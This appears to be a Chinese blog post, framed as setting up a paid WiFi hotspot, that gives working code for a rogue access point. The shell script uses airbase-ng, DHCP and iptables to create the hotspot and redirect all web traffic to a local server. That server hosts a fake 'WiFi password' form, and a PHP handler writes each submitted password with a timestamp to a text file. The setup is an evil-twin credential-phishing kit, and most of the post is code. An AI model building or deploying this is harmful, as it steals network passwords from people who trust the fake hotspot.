zoukankan      html  css  js  c++  java
  • A charge WIFI point base on airbase-ng+dhcp+lamp+wiwiz

    Make wifi as a hot point

    Make a script

    echo $0 $1
    case $1 in
         "start")
           sleep 1
           ifconfig wlan0 down
           sleep 1
           iwconfig wlan0 mode monitor
           sleep 1
           ifconfig wlan0 up
           sleep 2
           airmon-ng start wlan0
           sleep 1
           airbase-ng -e 888888 -c 11 wlan0
           sleep 1
        ;;
        "atup")
           sleep 1
           ifconfig at0 192.168.2.1 netmask 255.255.255.0
           sleep 1
           ifconfig at0 up
           sleep 1
           route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
           sleep 1
    #       echo "1" >/proc/sys/net/ipv4/ip_forward
           sysctl -w net.ipv4.ip_forward=1
           sleep 2
           dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
           sleep 2
           service isc-dhcp-server restart
           sleep 1
        ;;
        "startnat")
           sleep 1
           iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
           sleep 1
           iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
           sleep 1
           iptables -A FORWARD -p tcp --syn -s 192.168.2.0/24 -j TCPMSS --set-mss 1356
           iptables -t nat -A PREROUTING -p tcp -m multiport --dport 80,8080 -j DNAT --to 192.168.2.1:80
        ;;
        *)
           echo "usage $0 {start|atup|startnat}"
        ;;
    esac
    

    Start wifi as a hot point

    sudo ./cr_wifi start
    sudo ./cr_wifi atup
    

    Deploy wiwiz

    sudo cd /
    sudo wget http://dl.wiwiz.com/hsbuilder-util-latest.tar.gz
    sudo tar -zxf hsbuilder-util-latest.tar.gz
    sudo /usr/local/hsbuilder/hsbuilder_setup.sh setup
    
    然后依据各步提示完毕设置。下面是各步提示的说明:    
    “please select External NIC (typically the one going out to the Inernet):”– 此步请选择接入到Internet的网络接口。

    “please select Internal NIC (typically your wifi interface):”– 此步请选择接入到局域网/无线局域网的网络接口。 “please input Hotspot ID:” — 此步请输入你在Wiwiz Web面板中创建的热点的Hotspot ID(不是热点的名称,也不是你的无线网络的SSID)。 “please input User Name:” — 此步请输入你的Wiwiz注冊username。 “please input Server Address and Port:” — 此步请保持默认值。 “Do you want DHCP service to be configured? If you select No to skip it, you need to configure DHCP service manually later.” — 此步请选择是否让Wiwiz HotSpot Builder Utility自己主动配置DHCP服务。

    假设选择是,请继续下面的步骤。 “DHCP Setting: please input Network IP:” — 此步请输入你的局域网/无线局域网的网络IP。比如:192.168.1.0代表的是192.168.1.xxx网段。

    “DHCP Setting: please input NET MASK:” — 此步请输入你的局域网/无线局域网的掩码。 “DHCP Setting: please input IP of Gateway (it should be the IP of this machine):” — 此步请输入今后的局域网/无线局域网的网关地址,即这台计算机的Internal NIC的IP地址(一般保留默认值就可以)。

    “DHCP Setting: please input DNS:” — 此步请输入DNS地址。默认值为程序自己主动检測到的DNS地址。也能够指定其它可用的DNS地址。推荐指定ISP提供的DNS地址。

    “DHCP Setting: please input IP Range of this Network:” — 此步请输入DHCP地址分配范围。

    一般保留默认值就可以。 最后,假设没有报错信息并看到“HSBuilder Setup Completed!”的提示文字,那么安装已经完毕了。

    Deploy LAMP

    Install LAMP

    sudo wget http://dl.cnezsoft.com/zentao/8.0.1/ZenTaoPMS.8.0.1.zbox_32.tar.gz
    sudo tar zxvf  ZenTaoPMS.7.3.stable.zbox_32.tar.gz  -C /opt/
    
    1、运行/opt/zbox/zbox start 命令开启Apache和Mysql。
       运行/opt/zbox/zbox stop 命令停止Apache和Mysql。
       运行/opt/zbox/zbox restart 命令重新启动Apache和Mysql。

    能够使用/opt/zbox/zbox -h命令来获取关于zbox命令的帮助 当中 -ap參数 能够改动Apache的port,-mp參数 能够改动Mysql的port 2、浏览器訪问 http://ip:port 3、数据库的username:root。密码为空。数据库管理用的是adminer,可是为了安全,訪问adminer的时候须要身份验证,须要运行/opt/zbox/auth/adduser.sh来加入用户(先 cd /opt/zbox/auth/ 然后运行 ./adduser.sh)。

    3、网页訪问禅道,PV数据库管理有2层验证: 1)弹窗验证是输入运行 addusers.sh加入的帐号和密码。 2)网页直接显示登录界面:服务器:127.0.0.1:mysqlport 帐号 root 数据库填写zentao

    Put an authorize page

    Add a post

    <form action="reconnect.php" method="post">
        WIFI密码: &nbsp;&nbsp;
        <input type="password" name="wfphshr-wpa-password">
        <input id="btnSubmit" type="submit" value="提交">
    </form>
    

    Add a action

    <?php
    date_default_timezone_set("Asia/Hong_Kong");
    $datetime = strtotime(date("Y-m-d H:i:s"));
    $myfile = fopen("./upload/passwd.txt", "ab") or die("Unable to open file!");
    $txt = $_POST["wfphshr-wpa-password"];
    fwrite($myfile, date("Y-m-d H:i:s"));
    fwrite($myfile, " ");
    fwrite($myfile, $txt);
    fwrite($myfile, "
    ");
    fclose($myfile);
    ?

    >

    Put the page to /opt/zbox/app/htdocs

    Work together

    Register a wiwiz account

    Redirect the size to authorize page http://192.168.2.1

  • 相关阅读:
    web端限时活动逻辑处理总结
    js 的一些知识 摘自http://img0.pconline.com.cn/Pc_intranet/1105/13/313647_7.pdf
    HTML实现简单计算器
    HTML打折计算价格
    实现多线程的同时复制(三个线程同时复制)
    利用多线程实现并发调用,实现一个存钱多人取钱函数
    用字符流实现每个文件夹中创建包含所有文件信息的readme.txt
    Java实现文件在某个目录的检索
    Java实现列出目录下所有文件和文件夹
    大华、海康、宇视、华为等厂家RTSP标准拉流地址
  • 原文地址:https://www.cnblogs.com/wzzkaifa/p/7222476.html
Copyright © 2011-2022 走看看